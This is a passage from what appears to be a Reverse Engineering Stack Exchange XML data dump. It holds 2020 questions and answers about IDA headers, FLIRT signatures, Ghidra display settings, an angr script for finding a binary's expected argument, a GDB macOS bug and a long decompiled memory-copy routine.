&amp;gt; m_actors;&#xA;  std::map&amp;lt;unsigned int,ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;unsigned int&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; m_actorsById;&#xA;  ILocalPlayer *m_localPlayer;&#xA;  unsigned int m_nextId;&#xA;  std::map&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;,AIZone *,std::less&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt; m_aiZones;&#xA;};&#xA;&#xA;/* 259 */&#xA;struct ActorRef&amp;lt;IPlayer&amp;gt;&#xA;{&#xA;  IPlayer *m_object;&#xA;};&#xA;&#xA;/* 1618 */&#xA;struct __cppobj ClientWorld : World&#xA;{&#xA;  ActorRef&amp;lt;IPlayer&amp;gt; m_activePlayer;&#xA;  float m_timeUntilNextNetTick;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33207" LastActivityDate="2020-07-09T02:14:28.527" Title="IDA exported header full of errors" Tags="|ida|c++|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25395" PostTypeId="1" AcceptedAnswerId="30222" CreationDate="2020-06-25T20:32:22.860" Score="1" ViewCount="419" Body="&lt;p&gt;I'm writing a script to find out how many functions were recognized after applying a &lt;strong&gt;FLIRT&lt;/strong&gt; signature library, I'm using idapython I would like to know if I can apply the signatures by the script.&lt;/p&gt;&#xA;" OwnerUserId="33679" LastActivityDate="2022-04-04T17:01:47.267" Title="Is there any way to apply FLIRT signatures through a script like idapython?" Tags="|ida|idapython|ida-plugin|flirt-signatures|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25397" PostTypeId="2" ParentId="25393" CreationDate="2020-06-26T01:01:53.750" Score="0" Body="&lt;p&gt;In Assembly there are no real self-contained functions (as in programming languages like c++) anymore. Especially the concept of local variables and parameters is not really there. Instead, everything is stored in registers or on the stack. Now assuming that there is a way to call a function (I'll get to it later on how that would be possible) you would risk overwriting registers that are used by something else. Doing so will cause data corruption and you risk that the program produces unexpected results. Also arguments are stored in a specific register or on the stack, so you might need to modify those.&lt;/p&gt;&#xA;&lt;p&gt;Now when you identified the function and pre-loaded all the registers and prepared the stack all you need to do is change the instruction pointer to the function you want to run, execute it and set the instruction pointer back when you're done with it.&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-06-26T01:01:53.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25398" PostTypeId="1" AcceptedAnswerId="25399" CreationDate="2020-06-26T02:12:55.017" Score="1" ViewCount="260" Body="&lt;p&gt;Sometimes a function will have a series of XREF comments next to it in the disassembly view such as in the following example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                     **************************************************************&#xA;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     void __stdcall FUN_803adb50(void)&#xA;                       assume GQR0 = 0x0&#xA;                       assume GQR1 = 0x0&#xA;                       assume GQR2 = 0x40004&#xA;                       assume GQR3 = 0x50005&#xA;                       assume GQR4 = 0x60006&#xA;                       assume GQR5 = 0x70007&#xA;                       assume GQR6 = 0x0&#xA;                       assume GQR7 = 0x0&#xA;                       assume r13 = 0x805dd0e0&#xA;                       assume r2 = 0x805e6700&#xA;     void              &amp;lt;VOID&amp;gt;         &amp;lt;RETURN&amp;gt;&#xA;                     FUN_803adb50                                    XREF[357]:   FUN_80058564:80058574(c), &#xA;                                                                                  FUN_80058a80:80058a90(c), &#xA;                                                                                  FUN_8005c298:8005c2a8(c), &#xA;                                                                                  FUN_80288c48:80288c58(c), &#xA;                                                                                  FUN_802b0ab8:802b0ac8(c), &#xA;                                                                                  FUN_802b3860:802b3870(c), &#xA;                                                                                  FUN_802b3a4c:802b3a5c(c), &#xA;                                                                                  FUN_802b4f94:802b4fa4(c), &#xA;                                                                                  FUN_802b563c:802b564c(c), &#xA;                                                                                  FUN_802c81cc:802c81dc(c), &#xA;                                                                                  FUN_802ca894:802ca8a4(c), &#xA;                                                                                  FUN_802cd8f0:802cd908(c), &#xA;                                                                                  AnimationTreeSomething:802d1ff8(&#xA;                                                                                  FUN_8040fd5c:8040fd6c(c), &#xA;                                                                                  FUN_80418708:80418718(c), &#xA;                                                                                  FUN_8041e46c:8041e47c(c), &#xA;                                                                                  FUN_80444fe0:80444ff0(c), &#xA;                                                                                  FUN_80445cf4:80445d04(c), &#xA;                                                                                  FUN_80446d80:80446d90(c), &#xA;                                                                                  FUN_8044c500:8044c510(c), [more]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I turn these off (and on)?&lt;/p&gt;&#xA;" OwnerUserId="33639" LastActivityDate="2020-06-26T07:12:47.170" Title="How to turn off XREF comments in Ghidra's disassembly view?" Tags="|disassembly|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25399" PostTypeId="2" ParentId="25398" CreationDate="2020-06-26T07:12:47.170" Score="2" Body="&lt;p&gt;Just press the &lt;code&gt;Edit the listing fields&lt;/code&gt; button&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t2M9G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2M9G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then go to the &lt;code&gt;Instruction/Data&lt;/code&gt; section&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SbKeQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SbKeQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right-click on &lt;code&gt;XRef Header&lt;/code&gt; and &lt;code&gt;XRef&lt;/code&gt; and from the menu choose &lt;code&gt;Disable field&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-06-26T07:12:47.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25400" PostTypeId="2" ParentId="25393" CreationDate="2020-06-26T08:11:06.373" Score="2" Body="&lt;p&gt;In IDA, you can use the &lt;a href=&quot;https://www.hex-rays.com/blog/practical-appcall-examples/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Appcall feature&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In GDB, you can use &lt;code&gt;print&lt;/code&gt; or &lt;code&gt;call&lt;/code&gt; commands: &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Calling.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/Calling.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(this works only when using the actual &lt;code&gt;gdb&lt;/code&gt; program)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-26T08:11:06.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25401" PostTypeId="2" ParentId="16313" CreationDate="2020-06-26T08:52:04.247" Score="1" Body="&lt;p&gt;We implemented a generator for creating such ground truth mappings and recently published it.&lt;/p&gt;&#xA;&lt;p&gt;You can find further details within the github repo:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/LL-MM/approxis-groundtruth&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/LL-MM/approxis-groundtruth&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2020-06-26T08:52:04.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25402" PostTypeId="2" ParentId="25388" CreationDate="2020-06-26T09:01:48.817" Score="2" Body="&lt;p&gt;&lt;code&gt;otool&lt;/code&gt; uses 0-based indexing for load commands and section numbers so it's probably the next section which is problematic.&lt;/p&gt;&#xA;&lt;p&gt;Note that the OS loader only uses &lt;em&gt;segments&lt;/em&gt; for mapping the image to the memory so even if the file offsets of the sections  are off it should not affect runnability of the program.  Some sections may be used by the runtime components like the dynamic loader or Objective-C runtime but normally they only use memory addresses and not file offsets.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-26T09:01:48.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25403" PostTypeId="2" ParentId="25372" CreationDate="2020-06-26T17:55:17.660" Score="1" Body="&lt;p&gt;This is a helper function used by &lt;a href=&quot;https://www.nxp.com/assets/documents/data/en/application-notes/PPCEABI.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PPC EABI&lt;/a&gt; conforming compilers for reducing code size. From &lt;a href=&quot;https://github.com/rodrigc/bz-vimage/blob/46b4e0c21e5297b9bdcdc0f518961d9906753e3a/contrib/gcc/config/rs6000/crtsavres.asm#L89&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ctrsavres.asm&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/* Routines for saving integer registers, called by the compiler.  */&#xA;/* Called with r11 pointing to the stack header word of the caller of the */&#xA;/* function, just beyond the end of the integer save area.  */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Because it is called by the compiler, it doesn't behave like normal a function and accesses &lt;code&gt;r11&lt;/code&gt; directly, without setting it up first (it is set up by the caller).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-26T17:55:17.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25404" PostTypeId="1" CreationDate="2020-06-26T19:53:31.130" Score="2" ViewCount="401" Body="&lt;p&gt;I am trying to reverse engineer a aarch64 binary using angr to find the required command line argument to get a desired result. From the binary I am able to extract the required length of the argument. I followed the previous examples in angr to extract the solution in bytes. Whenever I am restricting the result to only printable characters the angr is not giving any result but after removing the constraint angr provides one possible solution for the problem. The result of angr is as follows:&lt;/p&gt;&#xA;&lt;p&gt;\xc7_\xb0\xb1&amp;gt;)9\x9f\x00\x82+\xe2ms\x90\x85\xbd\xdd\xebqyv1\x86\x82q]\xe9i\xc3\xed(\x1c\xdd\xfd\xf0\x9dgx&lt;/p&gt;&#xA;&lt;p&gt;As per my understanding this doesn't mean anything and also is not the desired answer. Please let me know if I am missing something. Below is the code I am using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def get_possible_flags():&#xA;p = angr.Project(&amp;quot;test&amp;quot;, load_options={'main_opts': {'arch': 'aarch64'}})&#xA;key_bytes = [claripy.BVS(&amp;quot;byte_%d&amp;quot; % i, 8) for i in range(39)]&#xA;arg1 = claripy.Concat(*key_bytes)&#xA;initial_state = p.factory.entry_state(args=[&amp;quot;test&amp;quot;, arg1], add_options={&amp;quot;BYPASS_UNSUPPORTED_SYSCALL&amp;quot;})&#xA;sm = p.factory.simulation_manager(initial_state)&#xA;sm.explore(find=lambda s: b&amp;quot;correct&amp;quot; in s.posix.dumps(1),avoid=lambda s: b&amp;quot;wrong&amp;quot; in s.posix.dumps(1))&#xA;s = sm.found[0]&#xA;print(&amp;quot;Found.........................&amp;quot;)&#xA;print(s.posix.dumps(1))&#xA;possible_values = [ s.solver.eval_upto(arg1, 100, cast_to=bytes)]&#xA;possibilities = tuple(itertools.product(*possible_values))&#xA;return possibilities&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33687" LastActivityDate="2020-06-26T19:53:31.130" Title="Reverse engineering a command line argument using angr for an aarch64 binary" Tags="|angr|aarch64|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25407" PostTypeId="2" ParentId="23305" CreationDate="2020-06-26T22:35:53.840" Score="2" Body="&lt;p&gt;I think you're not doing anything wrong, you're experiencing this bug:&#xA;&lt;a href=&quot;https://sourceware.org/bugzilla/show_bug.cgi?id=24069&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceware.org/bugzilla/show_bug.cgi?id=24069&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Usually if you retry several times you might get it to work eventually; it looks like a race condition.&lt;/p&gt;&#xA;&lt;p&gt;The patch proposed in the bug report kind of works for me on macOS 10.15.5: instead of just hanging, GDB errors out upon &lt;code&gt;run&lt;/code&gt; with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;During startup program terminated with signal ?, Unknown signal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but at least it does not hang. You can then retry &lt;code&gt;run&lt;/code&gt; (or &lt;code&gt;start&lt;/code&gt;) until it works.&lt;/p&gt;&#xA;" OwnerUserId="33689" LastActivityDate="2020-06-26T22:35:53.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25408" PostTypeId="1" CreationDate="2020-06-27T00:44:35.527" Score="1" ViewCount="352" Body="&lt;p&gt;I am currently trying to attach a debugger to a program with a callback for IsDebuggerPresent. Normally, i would patch the program to pass over this check, but patching the program is not an option. How would I go about getting a debugger attached so dynamic analysis is possible?&lt;/p&gt;&#xA;" OwnerUserId="33690" LastActivityDate="2020-07-03T17:45:38.217" Title="Bypassing IsDebuggerPresent" Tags="|debugging|" AnswerCount="1" CommentCount="2" ClosedDate="2020-07-03T21:50:04.193" ContentLicense="CC BY-SA 4.0" />
  <row Id="25409" PostTypeId="2" ParentId="21379" CreationDate="2020-06-27T06:46:42.860" Score="5" Body="&lt;p&gt;you can right click the file you import at &lt;strong&gt;Active Project&lt;/strong&gt; tab in ghidra main window, and select &lt;strong&gt;Set Language&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HA4t2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HA4t2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33691" LastEditorUserId="153" LastEditDate="2020-06-28T10:06:30.280" LastActivityDate="2020-06-28T10:06:30.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25410" PostTypeId="1" AcceptedAnswerId="25411" CreationDate="2020-06-27T15:54:32.623" Score="0" ViewCount="1196" Body="&lt;p&gt;This is my first time doing RE on a statically linked and stripped binary with ghidra. And I'm having a really hard time analyzing what function does what just by looking the decompiled code present by ghidra.&lt;/p&gt;&#xA;&lt;p&gt;Ghidra recognised the binary language ID as &lt;code&gt;ARM:LE:32:v8&lt;/code&gt; and I'm especially stuck on this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;undefined8 ToSolve1(uint *param_1,uint *param_2,int param_3,uint param_4)&#xA;&#xA;{&#xA;  uint *puVar1;&#xA;  uint *puVar2;&#xA;  byte *pbVar3;&#xA;  byte *pbVar4;&#xA;  uint *puVar5;&#xA;  uint *puVar6;&#xA;  byte *pbVar7;&#xA;  int iVar8;&#xA;  int iVar9;&#xA;  int iVar10;&#xA;  byte bVar11;&#xA;  uint uVar12;&#xA;  uint uVar13;&#xA;  uint uVar14;&#xA;  uint uVar15;&#xA;  uint uVar16;&#xA;  bool bVar17;&#xA;  bool bVar18;&#xA;  &#xA;  if (param_2 &amp;lt; param_1) {&#xA;    param_2 = (uint *)((int)param_2 + param_3);&#xA;    param_1 = (uint *)((int)param_1 + param_3);&#xA;    iVar8 = param_3 + -4;&#xA;    iVar10 = iVar8;&#xA;    if (param_3 &amp;lt; 4) goto LAB_0003ba2c;&#xA;    uVar13 = (uint)param_1 &amp;amp; 3;&#xA;    if (uVar13 != 0) {&#xA;      bVar11 = *(byte *)(uint *)((int)param_2 + -1);&#xA;      *(byte *)(uint *)((int)param_1 + -1) = bVar11;&#xA;      puVar2 = (uint *)((int)param_1 + -1);&#xA;      puVar1 = (uint *)((int)param_2 + -1);&#xA;      if (1 &amp;lt; uVar13) {&#xA;        bVar11 = *(byte *)(uint *)((int)param_2 + -2);&#xA;        *(byte *)(uint *)((int)param_1 + -2) = bVar11;&#xA;        puVar2 = (uint *)((int)param_1 + -2);&#xA;        puVar1 = (uint *)((int)param_2 + -2);&#xA;      }&#xA;      param_2 = puVar1;&#xA;      param_1 = puVar2;&#xA;      if (2 &amp;lt; uVar13) {&#xA;        param_2 = (uint *)((int)param_2 + -1);&#xA;        bVar11 = *(byte *)param_2;&#xA;      }&#xA;      param_4 = (uint)bVar11;&#xA;      if (2 &amp;lt; uVar13) {&#xA;        param_1 = (uint *)((int)param_1 + -1);&#xA;        *(byte *)param_1 = bVar11;&#xA;      }&#xA;      iVar10 = iVar8 - uVar13;&#xA;      bVar17 = iVar8 &amp;lt; (int)uVar13;&#xA;      iVar8 = iVar10;&#xA;      if (bVar17) goto LAB_0003ba2c;&#xA;    }&#xA;    uVar13 = (uint)param_2 &amp;amp; 3;&#xA;    if (uVar13 == 0) {&#xA;      iVar9 = iVar8 + -8;&#xA;      if (7 &amp;lt; iVar8) {&#xA;        iVar8 = iVar8 + -0x1c;&#xA;        iVar10 = iVar8;&#xA;        if (0x13 &amp;lt; iVar9) {&#xA;          do {&#xA;            uVar16 = param_2[-2];&#xA;            uVar14 = param_2[-3];&#xA;            uVar13 = param_2[-4];&#xA;            param_1[-1] = param_2[-1];&#xA;            param_1[-2] = uVar16;&#xA;            param_1[-3] = uVar14;&#xA;            param_1[-4] = uVar13;&#xA;            puVar2 = param_2 + -5;&#xA;            uVar14 = param_2[-6];&#xA;            uVar13 = param_2[-7];&#xA;            param_2 = param_2 + -8;&#xA;            param_4 = *param_2;&#xA;            param_1[-5] = *puVar2;&#xA;            param_1[-6] = uVar14;&#xA;            param_1[-7] = uVar13;&#xA;            param_1 = param_1 + -8;&#xA;            *param_1 = param_4;&#xA;            iVar8 = iVar10 + -0x20;&#xA;            bVar17 = 0x1f &amp;lt; iVar10;&#xA;            iVar10 = iVar8;&#xA;          } while (bVar17);&#xA;        }&#xA;        if (iVar8 + 0x10 &amp;lt; 0 == SCARRY4(iVar8,0x10)) {&#xA;          puVar2 = param_2 + -1;&#xA;          uVar14 = param_2[-2];&#xA;          uVar13 = param_2[-3];&#xA;          param_2 = param_2 + -4;&#xA;          param_4 = *param_2;&#xA;          param_1[-1] = *puVar2;&#xA;          param_1[-2] = uVar14;&#xA;          param_1[-3] = uVar13;&#xA;          param_1 = param_1 + -4;&#xA;          *param_1 = param_4;&#xA;          iVar8 = iVar8 + -0x10;&#xA;        }&#xA;        iVar9 = iVar8 + 0x14;&#xA;        if (iVar9 &amp;lt; 0 == SCARRY4(iVar8,0x14)) {&#xA;          puVar2 = param_2 + -1;&#xA;          uVar13 = param_2[-2];&#xA;          param_2 = param_2 + -3;&#xA;          param_4 = *param_2;&#xA;          param_1[-1] = *puVar2;&#xA;          param_1[-2] = uVar13;&#xA;          param_1 = param_1 + -3;&#xA;          *param_1 = param_4;&#xA;          iVar9 = iVar8 + 8;&#xA;        }&#xA;      }&#xA;      iVar10 = iVar9 + 8;&#xA;      if (iVar10 &amp;lt; 0 == SCARRY4(iVar9,8)) {&#xA;        if (iVar10 &amp;lt; 4) {&#xA;          param_2 = param_2 + -1;&#xA;          param_4 = *param_2;&#xA;        }&#xA;        if (iVar9 + 4 &amp;lt; 0 == SBORROW4(iVar10,4)) {&#xA;          puVar2 = param_2 + -1;&#xA;          param_2 = param_2 + -2;&#xA;          uVar13 = *param_2;&#xA;          param_1[-1] = *puVar2;&#xA;          param_1 = param_1 + -2;&#xA;          *param_1 = uVar13;&#xA;          iVar10 = iVar9;&#xA;        }&#xA;        else {&#xA;          param_1 = param_1 + -1;&#xA;          *param_1 = param_4;&#xA;          iVar10 = iVar9 + 4;&#xA;        }&#xA;      }&#xA;      goto LAB_0003ba2c;&#xA;    }&#xA;    param_2 = (uint *)((uint)param_2 &amp;amp; 0xfffffffc);&#xA;    uVar14 = *param_2;&#xA;    if (1 &amp;lt; uVar13) {&#xA;      if (uVar13 == 2) {&#xA;        if (iVar8 &amp;lt; 0xc) {&#xA;LAB_0003bb4c:&#xA;          do {&#xA;            uVar13 = uVar14 &amp;lt;&amp;lt; 0x10;&#xA;            param_2 = param_2 + -1;&#xA;            uVar14 = *param_2;&#xA;            param_1 = param_1 + -1;&#xA;            *param_1 = uVar13 | uVar14 &amp;gt;&amp;gt; 0x10;&#xA;            iVar10 = iVar8 + -4;&#xA;            bVar17 = 3 &amp;lt; iVar8;&#xA;            iVar8 = iVar10;&#xA;          } while (bVar17);&#xA;        }&#xA;        else {&#xA;          iVar8 = iVar8 + -0xc;&#xA;          do {&#xA;            iVar9 = iVar8;&#xA;            uVar13 = uVar14 &amp;lt;&amp;lt; 0x10;&#xA;            uVar15 = param_2[-1];&#xA;            uVar12 = param_2[-2];&#xA;            uVar16 = param_2[-3];&#xA;            param_2 = param_2 + -4;&#xA;            uVar14 = *param_2;&#xA;            param_1[-1] = uVar13 | uVar15 &amp;gt;&amp;gt; 0x10;&#xA;            param_1[-2] = uVar15 &amp;lt;&amp;lt; 0x10 | uVar12 &amp;gt;&amp;gt; 0x10;&#xA;            param_1[-3] = uVar12 &amp;lt;&amp;lt; 0x10 | uVar16 &amp;gt;&amp;gt; 0x10;&#xA;            param_1 = param_1 + -4;&#xA;            *param_1 = uVar16 &amp;lt;&amp;lt; 0x10 | uVar14 &amp;gt;&amp;gt; 0x10;&#xA;            iVar8 = iVar9 + -0x10;&#xA;          } while (0xf &amp;lt; iVar9);&#xA;          iVar10 = iVar9 + -4;&#xA;          iVar8 = iVar10;&#xA;          if (iVar10 &amp;lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bb4c;&#xA;        }&#xA;        param_2 = (uint *)((int)param_2 + 2);&#xA;        goto LAB_0003ba2c;&#xA;      }&#xA;      if (iVar8 &amp;lt; 0xc) {&#xA;LAB_0003bae0:&#xA;        do {&#xA;          uVar13 = uVar14 &amp;lt;&amp;lt; 8;&#xA;          param_2 = param_2 + -1;&#xA;          uVar14 = *param_2;&#xA;          param_1 = param_1 + -1;&#xA;          *param_1 = uVar13 | uVar14 &amp;gt;&amp;gt; 0x18;&#xA;          iVar10 = iVar8 + -4;&#xA;          bVar17 = 3 &amp;lt; iVar8;&#xA;          iVar8 = iVar10;&#xA;        } while (bVar17);&#xA;      }&#xA;      else {&#xA;        iVar8 = iVar8 + -0xc;&#xA;        do {&#xA;          iVar9 = iVar8;&#xA;          uVar13 = uVar14 &amp;lt;&amp;lt; 8;&#xA;          uVar15 = param_2[-1];&#xA;          uVar12 = param_2[-2];&#xA;          uVar16 = param_2[-3];&#xA;          param_2 = param_2 + -4;&#xA;          uVar14 = *param_2;&#xA;          param_1[-1] = uVar13 | uVar15 &amp;gt;&amp;gt; 0x18;&#xA;          param_1[-2] = uVar15 &amp;lt;&amp;lt; 8 | uVar12 &amp;gt;&amp;gt; 0x18;&#xA;          param_1[-3] = uVar12 &amp;lt;&amp;lt; 8 | uVar16 &amp;gt;&amp;gt; 0x18;&#xA;          param_1 = param_1 + -4;&#xA;          *param_1 = uVar16 &amp;lt;&amp;lt; 8 | uVar14 &amp;gt;&amp;gt; 0x18;&#xA;          iVar8 = iVar9 + -0x10;&#xA;        } while (0xf &amp;lt; iVar9);&#xA;        iVar10 = iVar9 + -4;&#xA;        iVar8 = iVar10;&#xA;        if (iVar10 &amp;lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bae0;&#xA;      }&#xA;      param_2 = (uint *)((int)param_2 + 3);&#xA;      goto LAB_0003ba2c;&#xA;    }&#xA;    if (iVar8 &amp;lt; 0xc) {&#xA;LAB_0003bbb8:&#xA;      do {&#xA;        uVar13 = uVar14 &amp;lt;&amp;lt; 0x18;&#xA;        param_2 = param_2 + -1;&#xA;        uVar14 = *param_2;&#xA;        param_1 = param_1 + -1;&#xA;        *param_1 = uVar13 | uVar14 &amp;gt;&amp;gt; 8;&#xA;        iVar10 = iVar8 + -4;&#xA;        bVar17 = 3 &amp;lt; iVar8;&#xA;        iVar8 = iVar10;&#xA;      } while (bVar17);&#xA;    }&#xA;    else {&#xA;      iVar8 = iVar8 + -0xc;&#xA;      do {&#xA;        iVar9 = iVar8;&#xA;        uVar13 = uVar14 &amp;lt;&amp;lt; 0x18;&#xA;        uVar15 = param_2[-1];&#xA;        uVar12 = param_2[-2];&#xA;        uVar16 = param_2[-3];&#xA;        param_2 = param_2 + -4;&#xA;        uVar14 = *param_2;&#xA;        param_1[-1] = uVar13 | uVar15 &amp;gt;&amp;gt; 8;&#xA;        param_1[-2] = uVar15 &amp;lt;&amp;lt; 0x18 | uVar12 &amp;gt;&amp;gt; 8;&#xA;        param_1[-3] = uVar12 &amp;lt;&amp;lt; 0x18 | uVar16 &amp;gt;&amp;gt; 8;&#xA;        param_1 = param_1 + -4;&#xA;        *param_1 = uVar16 &amp;lt;&amp;lt; 0x18 | uVar14 &amp;gt;&amp;gt; 8;&#xA;        iVar8 = iVar9 + -0x10;&#xA;      } while (0xf &amp;lt; iVar9);&#xA;      iVar10 = iVar9 + -4;&#xA;      iVar8 = iVar10;&#xA;      if (iVar10 &amp;lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bbb8;&#xA;    }&#xA;    param_2 = (uint *)((int)param_2 + 1);&#xA;LAB_0003ba2c:&#xA;    iVar8 = iVar10 + 4;&#xA;    if (iVar8 != 0) {&#xA;      bVar18 = SBORROW4(iVar8,2);&#xA;      bVar17 = iVar10 + 2 &amp;lt; 0;&#xA;      pbVar7 = (byte *)((int)param_2 + -1);&#xA;      bVar11 = *pbVar7;&#xA;      pbVar3 = (byte *)((int)param_1 + -1);&#xA;      *pbVar3 = bVar11;&#xA;      if (1 &amp;lt; iVar8) {&#xA;        pbVar7 = (byte *)((int)param_2 + -2);&#xA;        bVar11 = *pbVar7;&#xA;      }&#xA;      if (bVar17 == bVar18) {&#xA;        pbVar3 = (byte *)((int)param_1 + -2);&#xA;        *pbVar3 = bVar11;&#xA;      }&#xA;      if (iVar8 != 2 &amp;amp;&amp;amp; bVar17 == bVar18) {&#xA;        pbVar7 = pbVar7 + -1;&#xA;        bVar11 = *pbVar7;&#xA;      }&#xA;      if (iVar8 != 2 &amp;amp;&amp;amp; bVar17 == bVar18) {&#xA;        pbVar3 = pbVar3 + -1;&#xA;        *pbVar3 = bVar11;&#xA;      }&#xA;      return CONCAT44(pbVar3,pbVar7);&#xA;    }&#xA;    return CONCAT44(param_1,param_2);&#xA;  }&#xA;  if (param_2 == param_1) {&#xA;    return CONCAT44(param_1,param_2);&#xA;  }&#xA;  iVar8 = param_3 + -4;&#xA;  puVar2 = param_1;&#xA;  iVar10 = iVar8;&#xA;  if (param_3 &amp;lt; 4) goto LAB_0003b7ec;&#xA;  if (((uint)param_1 &amp;amp; 3) == 0) {&#xA;    uVar13 = (uint)param_2 &amp;amp; 3;&#xA;    puVar1 = param_1;&#xA;  }&#xA;  else {&#xA;    iVar10 = -((uint)param_1 &amp;amp; 3);&#xA;    iVar9 = iVar10 + 4;&#xA;    bVar18 = SBORROW4(iVar9,2);&#xA;    bVar17 = iVar10 + 2 &amp;lt; 0;&#xA;    bVar11 = *(byte *)param_2;&#xA;    *(byte *)param_1 = bVar11;&#xA;    puVar2 = (uint *)((int)param_2 + 1);&#xA;    if (1 &amp;lt; iVar9) {&#xA;      puVar2 = (uint *)((int)param_2 + 2);&#xA;      bVar11 = *(byte *)(uint *)((int)param_2 + 1);&#xA;    }&#xA;    puVar1 = (uint *)((int)param_1 + 1);&#xA;    if (bVar17 == bVar18) {&#xA;      puVar1 = (uint *)((int)param_1 + 2);&#xA;      *(byte *)(uint *)((int)param_1 + 1) = bVar11;&#xA;    }&#xA;    param_2 = puVar2;&#xA;    if (iVar9 != 2 &amp;amp;&amp;amp; bVar17 == bVar18) {&#xA;      param_2 = (uint *)((int)puVar2 + 1);&#xA;      bVar11 = *(byte *)puVar2;&#xA;    }&#xA;    param_4 = (uint)bVar11;&#xA;    puVar2 = puVar1;&#xA;    if (iVar9 != 2 &amp;amp;&amp;amp; bVar17 == bVar18) {&#xA;      puVar2 = (uint *)((int)puVar1 + 1);&#xA;      *(byte *)puVar1 = bVar11;&#xA;    }&#xA;    iVar10 = iVar8 - iVar9;&#xA;    if (iVar8 &amp;lt; iVar9) goto LAB_0003b7ec;&#xA;    uVar13 = (uint)param_2 &amp;amp; 3;&#xA;    iVar8 = iVar10;&#xA;    puVar1 = puVar2;&#xA;  }&#xA;  if (uVar13 == 0) {&#xA;    iVar9 = iVar8 + -8;&#xA;    if (7 &amp;lt; iVar8) {&#xA;      iVar8 = iVar8 + -0x1c;&#xA;      if (0x13 &amp;lt; iVar9) {&#xA;        do {&#xA;          iVar10 = iVar8;&#xA;          puVar5 = param_2;&#xA;          puVar2 = puVar1;&#xA;          uVar13 = puVar5[1];&#xA;          uVar14 = puVar5[2];&#xA;          uVar16 = puVar5[3];&#xA;          *puVar2 = *puVar5;&#xA;          puVar2[1] = uVar13;&#xA;          puVar2[2] = uVar14;&#xA;          puVar2[3] = uVar16;&#xA;          param_4 = puVar5[4];&#xA;          uVar13 = puVar5[5];&#xA; 